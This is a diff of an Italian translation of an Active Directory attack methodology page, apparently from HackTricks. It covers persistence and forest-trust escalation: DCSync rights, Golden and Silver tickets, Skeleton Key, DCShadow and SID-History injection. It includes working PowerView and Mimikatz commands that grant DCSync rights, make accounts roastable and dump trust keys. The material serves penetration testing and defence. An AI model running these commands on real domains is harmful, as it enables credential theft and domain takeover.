+Di solito gli utenti accedono al sistema via RDP, quindi qui trovi come effettuare un paio di attacchi sulle sessioni RDP di terze parti:


 {{#ref}}
@ -371,14 +371,14 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** fornisce un sistema per gestire la **password dell'Administrator locale** sui computer uniti al dominio, garantendo che sia **randomizzata**, unica e frequentemente **cambiata**. Queste password sono memorizzate in Active Directory e l'accesso è controllato tramite ACLs solo agli utenti autorizzati. Con permessi sufficienti per accedere a queste password, diventa possibile pivotare verso altri computer.
+**LAPS** fornisce un sistema per gestire la **local Administrator password** sui computer joined al dominio, assicurando che sia **randomizzata**, unica e frequentemente **cambiata**. Queste password sono memorizzate in Active Directory e l'accesso è controllato tramite ACL a soli utenti autorizzati. Con permessi sufficienti per accedere a queste password, il pivoting verso altri computer diventa possibile.


 {{#ref}}
 laps.md
 {{#endref}}

-### Furto di certificati
+### Certificate Theft

 **Raccogliere certificati** dalla macchina compromessa potrebbe essere un modo per escalare privilegi all'interno dell'ambiente:

@ -387,28 +387,28 @@ laps.md
 ad-certificates/certificate-theft.md
 {{#endref}}

-### Abuso di Certificate Templates
+### Certificate Templates Abuse

-Se sono configurati template vulnerabili è possibile abusarne per escalare privilegi:
+Se sono configurati **template vulnerabili** è possibile abusarne per escalare privilegi:


 {{#ref}}
 ad-certificates/domain-escalation.md
 {{#endref}}

-## Post-exploitation con account ad alto privilegio
+## Post-exploitation with high privilege account

-### Dumping delle credenziali di dominio
+### Dumping Domain Credentials

-Una volta ottenuti privilegi di **Domain Admin** o, ancora meglio, di **Enterprise Admin**, puoi **dumpare** il **database del dominio**: _ntds.dit_.
+Una volta ottenuti privilegi di **Domain Admin** o ancora meglio **Enterprise Admin**, puoi **dumpare** il **database di dominio**: _ntds.dit_.

 [**More information about DCSync attack can be found here**](dcsync.md).

 [**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

-### Privesc come persistenza
+### Privesc as Persistence

-Alcune delle tecniche discusse in precedenza possono essere usate per la persistenza.\
+Alcune delle tecniche discusse prima possono essere usate per persistenza.\
 Per esempio potresti:

 - Rendere gli utenti vulnerabili a [**Kerberoast**](kerberoast.md)
@ -423,7 +423,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```

- Concedere privilegi di [**DCSync**](#dcsync) a un utente
+- Concedere privilegi [**DCSync**](#dcsync) a un utente

 ```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-L'attacco **Silver Ticket** crea un **legittimo TGS (Ticket Granting Service) ticket** per un servizio specifico utilizzando l'**hash NTLM** (per esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **ottenere i privilegi di accesso al servizio**.
+L'**Silver Ticket attack** crea un **legittimo TGS ticket** per un servizio specifico usando l'**NTLM hash** (per esempio, l'**hash dell'account PC**). Questo metodo viene impiegato per **ottenere accesso ai privilegi del servizio**.


 {{#ref}}
@ -440,9 +440,9 @@ silver-ticket.md

 ### Golden Ticket

-Un attacco **Golden Ticket** coinvolge l'accesso da parte di un attaccante all'**hash NTLM dell'account krbtgt** in un ambiente Active Directory (AD). Questo account è speciale perché viene usato per firmare tutti i **Ticket Granting Tickets (TGTs)**, essenziali per l'autenticazione nella rete AD.
+Un **Golden Ticket attack** implica che un attaccante ottenga l'**NTLM hash dell'account krbtgt** in un ambiente Active Directory. Questo account è speciale perché viene usato per firmare tutti i **TGT (Ticket Granting Tickets)**, essenziali per autenticarsi nella rete AD.

-Una volta ottenuto questo hash, l'attaccante può creare **TGTs** per qualsiasi account desideri (Silver ticket attack).
+Una volta ottenuto questo hash, l'attaccante può creare **TGT** per qualsiasi account desideri (come nel Silver ticket attack).


 {{#ref}}
@ -451,7 +451,7 @@ golden-ticket.md

 ### Diamond Ticket

-Questi sono come golden tickets forgiati in modo da **bypassare i meccanismi comuni di rilevamento dei golden tickets.**
+Questi sono come i golden tickets ma forgiati in modo da **bypassare i meccanismi comuni di rilevamento dei golden tickets.**


 {{#ref}}
@ -460,7 +460,7 @@ diamond-ticket.md

 ### **Certificates Account Persistence**

-**Avere i certificati di un account o poterli richiedere** è un ottimo modo per mantenere la persistenza nell'account di un utente (anche se cambia la password):
+**Possedere i certificati di un account o essere in grado di richiederli** è un ottimo modo per persistere nell'account utente (anche se questo cambia la password):


 {{#ref}}
@ -469,7 +469,7 @@ ad-certificates/account-persistence.md

 ### **Certificates Domain Persistence**

-**Usare certificati consente anche di persistere con privilegi elevati all'interno del dominio:**
+**Usare certificati è anche un modo per persistere con privilegi elevati all'interno del dominio:**


 {{#ref}}
@ -478,13 +478,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-L'oggetto **AdminSDHolder** in Active Directory garantisce la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una standard **Access Control List (ACL)** su questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzionalità può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare pieno accesso a un utente normale, quell'utente ottiene un controllo esteso su tutti i gruppi privilegiati. Questa misura di sicurezza, pensata per proteggere, può quindi ritorcersi contro se non monitorata attentamente.
+L'oggetto **AdminSDHolder** in Active Directory assicura la sicurezza dei **gruppi privilegiati** (come Domain Admins e Enterprise Admins) applicando una lista standard di **ACL** attraverso questi gruppi per prevenire modifiche non autorizzate. Tuttavia, questa funzione può essere sfruttata; se un attaccante modifica l'ACL di AdminSDHolder per dare pieno accesso a un utente normale, quell'utente ottiene ampi controlli su tutti i gruppi privilegiati. Questa misura di sicurezza, pensata per proteggere, può quindi ritorcersi e permettere accessi non voluti a meno che non sia strettamente monitorata.

 [**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

 ### DSRM Credentials

-All'interno di ogni **Domain Controller (DC)** esiste un account di **amministratore locale**. Ottenendo diritti admin su una macchina del genere, l'hash dell'Administrator locale può essere estratto usando **mimikatz**. Successivamente è necessaria una modifica al registro per **abilitare l'uso di questa password**, permettendo l'accesso remoto all'account Administrator locale.
+All'interno di ogni **Domain Controller (DC)** esiste un account **local administrator**. Ottenendo diritti admin su una macchina simile, l'hash del Local Administrator può essere estratto usando **mimikatz**. Successivamente è necessaria una modifica al registro per **abilitare l'uso di questa password**, permettendo l'accesso remoto all'account Local Administrator.


 {{#ref}}
@ -493,7 +493,7 @@ dsrm-credentials.md

 ### ACL Persistence

-Potresti **concedere** alcune **permessi speciali** a un **utente** su specifici oggetti del dominio che permetteranno all'utente di **escalare privilegi in futuro**.
+Potresti **concedere** alcune **permessi speciali** a un **utente** su specifici oggetti di dominio che permetteranno all'utente di **escalare privilegi in futuro**.


 {{#ref}}
@ -502,7 +502,7 @@ acl-persistence-abuse/

 ### Security Descriptors

-I **security descriptors** sono usati per **memorizzare** le **permissions** che un **oggetto** ha **su** un altro **oggetto**. Se puoi fare una **piccola modifica** nel **security descriptor** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.
+I **security descriptors** sono usati per **memorizzare** i **permessi** che un **oggetto** ha **su** un altro **oggetto**. Se riesci a fare anche solo una **piccola modifica** nel **security descriptor** di un oggetto, puoi ottenere privilegi molto interessanti su quell'oggetto senza dover essere membro di un gruppo privilegiato.


 {{#ref}}
@ -511,7 +511,7 @@ security-descriptors.md

 ### Skeleton Key

-Modifica **LSASS** in memoria per stabilire una **password universale**, concedendo accesso a tutti gli account del dominio.
+Alterare **LSASS** in memoria per stabilire una **password universale**, concedendo accesso a tutti gli account di dominio.


 {{#ref}}
@ -521,7 +521,7 @@ skeleton-key.md
 ### Custom SSP

 [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-Puoi creare il tuo **SSP** per **catturare** in **chiaro** le **credenziali** usate per accedere alla macchina.
+Puoi creare il tuo **SSP** per **catturare** in **clear text** le **credenziali** usate per accedere alla macchina.


 {{#ref}}
@ -530,7 +530,7 @@ custom-ssp.md

 ### DCShadow

-Registra un **nuovo Domain Controller** nell'AD e lo usa per **pushare attributi** (SIDHistory, SPNs...) su oggetti specifici **senza** lasciare log riguardanti le **modifiche**. Hai bisogno di privilegi DA e di essere all'interno del **root domain**.\
+Registra un **nuovo Domain Controller** in AD e lo usa per **pushare attributi** (SIDHistory, SPNs...) su oggetti specificati **senza** lasciare log riguardo le **modifiche**. Hai bisogno di privilegi DA ed essere nel **root domain**.\
 Nota che se usi dati errati, appariranno log piuttosto brutti.


@ -540,7 +540,7 @@ dcshadow.md

 ### LAPS Persistence

-In precedenza abbiamo discusso di come escalare privilegi se si hanno **permessi sufficienti per leggere le password LAPS**. Tuttavia, queste password possono anche essere usate per **mantenere la persistenza**.\
+In precedenza abbiamo discusso come escalare privilegi se hai **permessi sufficienti per leggere le password LAPS**. Tuttavia, queste password possono anche essere usate per **mantenere persistenza**.\
 Vedi:


@ -548,64 +548,64 @@ Vedi:
 laps.md
 {{#endref}}

-## Escalation privilegi nella Forest - Domain Trusts
+## Forest Privilege Escalation - Domain Trusts

-Microsoft considera la **Forest** come il perimetro di sicurezza. Questo implica che **compromettere un singolo dominio potrebbe potenzialmente portare al compromesso dell'intera Forest**.
+Microsoft considera la **Forest** come il confine di sicurezza. Questo implica che **compromettere un singolo dominio potrebbe potenzialmente portare al compromesso dell'intera Forest**.

-### Informazioni di base
+### Basic Information

-Un [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che permette a un utente di un **dominio** di accedere a risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, permettendo il flusso delle verifiche di autenticazione. Quando i domini instaurano un trust, scambiano e conservano specifiche **chiavi** nei loro **Domain Controllers (DCs)**, che sono cruciali per l'integrità del trust.
+Un [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) è un meccanismo di sicurezza che permette a un utente di un **dominio** di accedere a risorse in un altro **dominio**. Crea essenzialmente un collegamento tra i sistemi di autenticazione dei due domini, permettendo il flusso delle verifiche di autenticazione. Quando i domini impostano una trust, scambiano e conservano specifiche **chiavi** all'interno dei loro **Domain Controller (DC)**, che sono cruciali per l'integrità della trust.

-In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio trusted**, deve prima richiedere un ticket speciale noto come **inter-realm TGT** al DC del proprio dominio. Questo TGT è cifrato con una **chiave** condivisa che entrambi i domini hanno concordato. L'utente poi presenta questo TGT al **DC del dominio trusted** per ottenere un ticket di servizio (**TGS**). Dopo la verifica dell'inter-realm TGT da parte del DC del dominio trusted, viene emesso un TGS che concede all'utente l'accesso al servizio.
+In uno scenario tipico, se un utente intende accedere a un servizio in un **dominio trusted**, deve prima richiedere uno speciale ticket noto come **inter-realm TGT** al DC del proprio dominio. Questo TGT è cifrato con una **chiave di trust** condivisa che entrambi i domini hanno concordato. L'utente poi presenta questo TGT al **DC del dominio trusted** per ottenere un ticket di servizio (**TGS**). Dopo la verifica dell'inter-realm TGT da parte del DC del dominio trusted, questo emette un TGS, concedendo all'utente l'accesso al servizio.

 **Passi**:

-1. Un **client computer** in **Domain 1** avvia il processo usando il suo **NTLM hash** per richiedere un **Ticket Granting Ticket (TGT)** al suo **Domain Controller (DC1)**.
-2. DC1 emette un nuovo TGT se il client viene autenticato con successo.
-3. Il client richiede quindi un **inter-realm TGT** a DC1, necessario per accedere alle risorse in **Domain 2**.
-4. L'inter-realm TGT è cifrato con una **trust key** condivisa tra DC1 e DC2 come parte del trust bidirezionale.
+1. Un **client computer** in **Domain 1** inizia il processo usando il suo **NTLM hash** per richiedere un **Ticket Granting Ticket (TGT)** al suo **Domain Controller (DC1)**.
+2. DC1 emette un nuovo TGT se il client viene autenticato correttamente.
+3. Il client poi richiede un **inter-realm TGT** a DC1, necessario per accedere a risorse in **Domain 2**.
+4. L'inter-realm TGT è cifrato con una **trust key** condivisa tra DC1 e DC2 come parte della trust a due vie.
 5. Il client porta l'inter-realm TGT al **Domain Controller (DC2)** di **Domain 2**.
-6. DC2 verifica l'inter-realm TGT usando la trust key condivisa e, se valido, rilascia un **Ticket Granting Service (TGS)** per il server in Domain 2 a cui il client vuole accedere.
+6. DC2 verifica l'inter-realm TGT utilizzando la trust key condivisa e, se valido, emette un **Ticket Granting Service (TGS)** per il server in Domain 2 a cui il client vuole accedere.
 7. Infine, il client presenta questo TGS al server, che è cifrato con l'hash dell'account del server, per ottenere accesso al servizio in Domain 2.

-### Diversi trust
+### Different trusts

-È importante notare che **un trust può essere a senso 1 o a senso 2**. Nell'opzione a 2 vie, entrambi i domini si fidano l'uno dell'altro, ma nel trust **a 1 via** una delle parti sarà il **trusted** e l'altra il **trusting** domain. In quest'ultimo caso, **potrai accedere solo alle risorse all'interno del dominio trusting dal dominio trusted**.
+È importante notare che **una trust può essere a 1 way o a 2 ways**. Nella configurazione a 2 vie, entrambi i domini si fidano l'uno dell'altro, ma nella relazione di trust **one way** uno dei domini sarà il **trusted** e l'altro il **trusting**. In quest'ultimo caso, **potrai accedere solo alle risorse all'interno del dominio trusting dal dominio trusted**.

-Se Domain A si fida di Domain B, A è il dominio trusting e B è il trusted. Inoltre, in **Domain A**, questo sarà un **Outbound trust**; e in **Domain B**, questo sarà un **Inbound trust**.
+Se Domain A trusts Domain B, A è il dominio trusting e B è il trusted. Inoltre, in **Domain A** questa sarebbe una **Outbound trust**; e in **Domain B** questa sarebbe una **Inbound trust**.

-**Diverse relazioni di trusting**
+**Different trusting relationships**

- **Parent-Child Trusts**: Configurazione comune all'interno della stessa forest, dove un dominio figlio ha automaticamente un trust transitive a due vie con il dominio padre. Ciò permette il flusso di richieste di autenticazione tra padre e figlio.
- **Cross-link Trusts**: Chiamati anche "shortcut trusts", sono stabiliti tra domini figli per accelerare i processi di referral. In forest complesse, i referral di autenticazione tipicamente devono viaggiare fino alla radice della forest e poi scendere nel dominio di destinazione. Creando cross-links, il percorso si accorcia, utile soprattutto in ambienti geograficamente dispersi.
- **External Trusts**: Stabiliti tra domini differenti e non correlati e sono per natura non-transitivi. Secondo la [documentazione Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), gli external trusts sono utili per accedere a risorse in un dominio al di fuori della forest corrente che non è connesso tramite un forest trust. La sicurezza è rafforzata tramite SID filtering con gli external trusts.
- **Tree-root Trusts**: Questi trust vengono creati automaticamente tra il dominio root della forest e una nuova tree root aggiunta. Anche se non comuni, i tree-root trusts sono importanti per aggiungere nuovi alberi di dominio a una forest, permettendo loro di mantenere un nome di dominio unico e assicurando la transitività bidirezionale. Ulteriori informazioni sono disponibili nella [guida Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Questo tipo di trust è un trust transitive a due vie tra due forest root domains, applicando anche SID filtering per migliorare le misure di sicurezza.
- **MIT Trusts**: Questi trust sono stabiliti con domini Kerberos non-Windows conformi a [RFC4120](https://tools.ietf.org/html/rfc4120). I MIT trusts sono più specializzati e servono ambienti che richiedono integrazione con sistemi basati su Kerberos al di fuori dell'ecosistema Windows.
+- **Parent-Child Trusts**: Configurazione comune all'interno della stessa forest, dove un child domain ha automaticamente una two-way transitive trust con il parent domain. Questo significa che le richieste di autenticazione possono fluire senza soluzione di continuità tra parent e child.
+- **Cross-link Trusts**: Chiamate anche "shortcut trusts", sono stabilite tra child domains per accelerare i processi di referral. In forest complesse, i referral di autenticazione solitamente devono viaggiare fino alla root della forest e poi scendere verso il dominio target. Creando cross-links, il percorso si accorcia, utile soprattutto in ambienti geograficamente distribuiti.
+- **External Trusts**: Impostate tra domini diversi e non correlati e sono per natura non-transitive. Secondo la [documentazione Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), le external trusts sono utili per accedere a risorse in un dominio al di fuori della forest corrente che non è connesso da una forest trust. La sicurezza è rafforzata tramite SID filtering con le external trusts.
+- **Tree-root Trusts**: Trust automaticamente stabilite tra il forest root domain e una nuova tree root aggiunta. Non comunemente incontrate, le tree-root trusts sono importanti per aggiungere nuovi domain trees a una forest, permettendo loro di mantenere un nome di dominio unico e assicurando la transitive two-way. Maggiori informazioni nella [guida Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Forest Trusts**: Questo tipo di trust è una two-way transitive trust tra due forest root domains, applicando anche SID filtering per migliorare le misure di sicurezza.
+- **MIT Trusts**: Queste trust sono stabilite con domini Kerberos non-Windows, compatibili con [RFC4120](https://tools.ietf.org/html/rfc4120). Le MIT trusts sono più specializzate e servono per integrazioni con sistemi Kerberos esterni all'ecosistema Windows.

-#### Altre differenze nelle **relazioni di trusting**
+#### Other differences in **trusting relationships**

- Una relazione di trust può anche essere **transitiva** (A trust B, B trust C, quindi A trust C) o **non-transitiva**.
- Una relazione di trust può essere impostata come **bidirectional trust** (entrambi si fidano l'uno dell'altro) o come **one-way trust** (solo uno dei due si fida dell'altro).
+- Una relazione di trust può anche essere **transitive** (A trust B, B trust C, allora A trust C) o **non-transitive**.
+- Una relazione di trust può essere impostata come **bidirectional trust** (entrambi si fidano reciprocamente) oppure come **one-way trust** (solo uno dei due si fida dell'altro).

-### Percorso d'attacco
+### Attack Path

 1. **Enumerare** le relazioni di trusting
-2. Verificare se qualche **security principal** (utente/gruppo/computer) ha **accesso** a risorse dell'**altro dominio**, magari tramite voci ACE o essendo membro di gruppi dell'altro dominio. Cercare **relazioni cross-domain** (probabilmente il trust è stato creato per questo).
+2. Controllare se qualche **security principal** (user/group/computer) ha **accesso** a risorse dell'**altro dominio**, magari tramite voci ACE o facendo parte di gruppi dell'altro dominio. Cercare **relazioni cross-domain** (la trust è stata probabilmente creata per questo).
 1. kerberoast in questo caso potrebbe essere un'altra opzione.
 3. **Compromettere** gli **account** che possono **pivotare** attraverso i domini.

 Gli attaccanti possono accedere a risorse in un altro dominio tramite tre meccanismi principali:

- **Local Group Membership**: I principals possono essere aggiunti a gruppi locali sulle macchine, come il gruppo “Administrators” su un server, concedendo loro controllo significativo sulla macchina.
- **Foreign Domain Group Membership**: I principals possono anche essere membri di gruppi nel dominio straniero. Tuttavia, l'efficacia di questo metodo dipende dalla natura del trust e dall'ambito del gruppo.
- **Access Control Lists (ACLs)**: I principals possono essere specificati in un'**ACL**, in particolare come entità in **ACE** all'interno di una **DACL**, fornendo accesso a risorse specifiche. Per chi vuole approfondire la meccanica di ACLs, DACLs e ACEs, il whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.
+- **Local Group Membership**: I principal possono essere aggiunti a gruppi locali sulle macchine, come il gruppo "Administrators" su un server, concedendo loro un controllo significativo su quella macchina.
+- **Foreign Domain Group Membership**: I principal possono anche essere membri di gruppi all'interno del dominio estero. Tuttavia, l'efficacia di questo metodo dipende dalla natura della trust e dall'ambito del gruppo.
+- **Access Control Lists (ACLs)**: I principal possono essere specificati in una **ACL**, particolarmente come entità in **ACE** all'interno di una **DACL**, fornendo accesso a risorse specifiche. Per chi vuole approfondire la meccanica di ACL, DACL e ACE, il whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” è una risorsa preziosa.

-### Trovare utenti/gruppi esterni con permessi
+### Find external users/groups with permissions

-Puoi controllare **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** per trovare i foreign security principals nel dominio. Questi saranno utenti/gruppi provenienti da **un dominio/forest esterno**.
+Puoi controllare **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** per trovare i foreign security principals nel dominio. Questi saranno user/group provenienti da **un dominio/forest esterno**.

-Puoi verificare questo in **Bloodhound** o usando powerview:
+Puoi verificare questo con **Bloodhound** o usando powerview:
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
@ -613,7 +613,7 @@ Get-DomainForeignUser
 # Get groups inside a domain with users our
 Get-DomainForeignGroupMember
 ```
-### Escalation di privilegi Child-to-Parent nella foresta
+### Child-to-Parent forest privilege escalation
 ```bash
 # Fro powerview
 Get-DomainTrust
@ -640,7 +640,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 > [!WARNING]
 > Ci sono **2 trusted keys**, una per _Child --> Parent_ e un'altra per _Parent_ --> _Child_.\
-> Puoi verificare quale viene usata dal dominio corrente con:
+> Puoi determinare quale viene usata dal dominio corrente con:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -649,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Escalare a Enterprise admin nel dominio child/parent abusando della trust tramite SID-History injection:
+Ottenere privilegi Enterprise admin nel dominio child/parent abusando della trust tramite SID-History injection:


 {{#ref}}
@ -658,17 +658,17 @@ sid-history-injection.md

 #### Exploit writeable Configuration NC

-Comprendere come la Configuration Naming Context (NC) può essere sfruttata è fondamentale. La Configuration NC funge da repository centrale per i dati di configurazione attraverso una forest in ambienti Active Directory (AD). Questi dati vengono replicati su ogni Domain Controller (DC) all'interno della forest, con i DC scrivibili che mantengono una copia scrivibile della Configuration NC. Per sfruttarla, è necessario avere i privilegi **SYSTEM su un DC**, preferibilmente un child DC.
+Comprendere come il Configuration Naming Context (NC) possa essere sfruttato è cruciale. Il Configuration NC funge da repository centrale per i dati di configurazione in un forest di Active Directory (AD). Questi dati vengono replicati su ogni Domain Controller (DC) del forest, e i DC scrivibili mantengono una copia scrivibile del Configuration NC. Per sfruttarlo, è necessario avere **privilegi SYSTEM su un DC**, preferibilmente un child DC.

 **Link GPO to root DC site**

-Il container Sites della Configuration NC include informazioni sui site di tutti i computer joinati al dominio all'interno della forest AD. Operando con privilegi SYSTEM su qualsiasi DC, un attacker può linkare GPO ai site del root DC. Questa azione può compromettere il dominio root manipolando le policy applicate a questi site.
+Il contenitore Sites del Configuration NC contiene informazioni sui site di tutti i computer membri del dominio nel forest di Active Directory (AD). Operando con privilegi SYSTEM su qualsiasi DC, un attaccante può collegare GPO ai siti del root DC. Questa operazione può compromettere il dominio root manipolando le policy applicate a tali siti.

-Per informazioni approfondite, si può esplorare la ricerca su [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
+Per informazioni dettagliate, si può consultare la ricerca su [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).

 **Compromise any gMSA in the forest**

-Un vettore d'attacco coinvolge il targeting di gMSA privilegiati all'interno del dominio. La KDS Root key, essenziale per calcolare le password delle gMSA, è memorizzata nella Configuration NC. Con privilegi SYSTEM su qualsiasi DC, è possibile accedere alla KDS Root key e calcolare le password di qualsiasi gMSA nella forest.
+Un vettore d'attacco consiste nel prendere di mira gMSA privilegiati all'interno del dominio. La KDS Root key, essenziale per calcolare le password dei gMSA, è memorizzata nel Configuration NC. Con privilegi SYSTEM su qualsiasi DC, è possibile accedere alla KDS Root key e calcolare le password di qualsiasi gMSA nel forest.

 Analisi dettagliata e guida passo-passo sono disponibili in:

@ -677,26 +677,26 @@ Analisi dettagliata e guida passo-passo sono disponibili in:
 golden-dmsa-gmsa.md
 {{#endref}}

-Attacco complementare delegato MSA (BadSuccessor – abuso degli attributi di migration):
+Attacco complementare delegated MSA (BadSuccessor – abusing migration attributes):


 {{#ref}}
 badsuccessor-dmsa-migration-abuse.md
 {{#endref}}

-Ulteriore ricerca esterna: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
+Ulteriori ricerche esterne: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).

 **Schema change attack**

-Questo metodo richiede pazienza, aspettando la creazione di nuovi oggetti AD privilegiati. Con privilegi SYSTEM, un attacker può modificare lo Schema AD per concedere a qualsiasi utente il controllo completo su tutte le classi. Questo potrebbe portare ad accessi non autorizzati e al controllo su oggetti AD creati successivamente.
+Questo metodo richiede pazienza, aspettando la creazione di nuovi oggetti AD privilegiati. Con privilegi SYSTEM, un attaccante può modificare lo Schema AD per concedere a qualsiasi utente il controllo completo su tutte le classi. Ciò potrebbe portare ad accesso non autorizzato e controllo sugli oggetti AD appena creati.

 Ulteriori letture sono disponibili su [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

 **From DA to EA with ADCS ESC5**

-La vulnerabilità ADCS ESC5 prende di mira il controllo sugli oggetti PKI per creare un certificate template che permette di autenticarsi come qualsiasi utente all'interno della forest. Poiché gli oggetti PKI risiedono nella Configuration NC, compromettere un DC child scrivibile permette l'esecuzione di attacchi ESC5.
+La vulnerabilità ADCS ESC5 mira al controllo degli oggetti della Public Key Infrastructure (PKI) per creare un certificate template che consenta l'autenticazione come qualsiasi utente all'interno del forest. Poiché gli oggetti PKI risiedono nel Configuration NC, compromettere un child DC scrivibile abilita l'esecuzione di attacchi ESC5.

-Ulteriori dettagli possono essere letti in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari privi di ADCS, l'attacker ha la capacità di impostare i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
+Ulteriori dettagli sono disponibili in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenari senza ADCS, l'attaccante può predisporre i componenti necessari, come discusso in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

 ### External Forest Domain - One-Way (Inbound) or bidirectional
 ```bash
@ -709,13 +709,13 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-In questo scenario **il tuo domain è trusted** da un domain esterno che ti concede **permessi non determinati** su di esso. Dovrai trovare **quali principals del tuo domain hanno quale accesso sul domain esterno** e poi cercare di sfruttarlo:
+In questo scenario **il tuo dominio è trusted** da un dominio esterno, concedendoti **permessi indeterminati** su quest'ultimo. Dovrai scoprire **quali principals del tuo dominio hanno quale accesso sul dominio esterno** e poi cercare di sfruttarlo:

 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### External Forest Domain - One-Way (Outbound)
+### Dominio di Foresta Esterno - One-Way (Outbound)
 ```bash
 Get-DomainTrust -Domain current.local

@ -727,36 +727,36 @@ TrustDirection  : Outbound        --> Outbound trust
 WhenCreated     : 2/19/2021 10:15:24 PM
 WhenChanged     : 2/19/2021 10:15:24 PM
 ```
-In questo scenario **your domain** è **trusting** alcuni **privileges** a principal da **different domains**.
+In questo scenario **il tuo dominio** sta **affidando** alcuni **privilegi** a un'entità proveniente da **domini diversi**.

-Tuttavia, quando un **domain is trusted** dal domain che si fida, il trusted domain **creates a user** con un **predictable name** che usa come **password the trusted password**. Ciò significa che è possibile **access a user from the trusting domain to get inside the trusted one** per enumerarlo e provare a elevare ulteriori privileges:
+Tuttavia, quando un **domain is trusted** dal domain che effettua il trusting, il trusted domain **crea un utente** con un **nome prevedibile** che utilizza come **password la trusted password**. Ciò significa che è possibile **accedere a un utente del dominio che effettua il trusting per entrare nel dominio trusted** per enumerarlo e tentare di scalare ulteriori privilegi:


 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Un altro modo per compromettere il trusted domain è trovare un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) creato nella **opposite direction** della domain trust (che non è molto comune).
+Un altro modo per compromettere il trusted domain è trovare un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) creato nella **direzione opposta** della domain trust (cosa non molto comune).

-Un altro modo per compromettere il trusted domain è aspettare su una macchina alla quale un **user from the trusted domain can access** per effettuare il login via **RDP**. Poi, l'attaccante potrebbe iniettare codice nel processo della sessione RDP e **access the origin domain of the victim** da lì.  
-Inoltre, se il **victim mounted his hard drive**, dal processo della **RDP session** l'attaccante potrebbe salvare **backdoors** nella **startup folder of the hard drive**. Questa tecnica è chiamata **RDPInception.**
+Un altro modo per compromettere il trusted domain è aspettare su una macchina dove un **user from the trusted domain can access** per effettuare il login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\
+Inoltre, se la **vittima ha montato il suo hard drive**, dal processo della **RDP session** l'attaccante potrebbe salvare **backdoors** nella **startup folder of the hard drive**. Questa tecnica si chiama **RDPInception.**


 {{#ref}}
 rdp-sessions-abuse.md
 {{#endref}}

-### Mitigazione dell'abuso dei trust di dominio
+### Mitigazione dell'abuso dei domain trust

 ### **SID Filtering:**

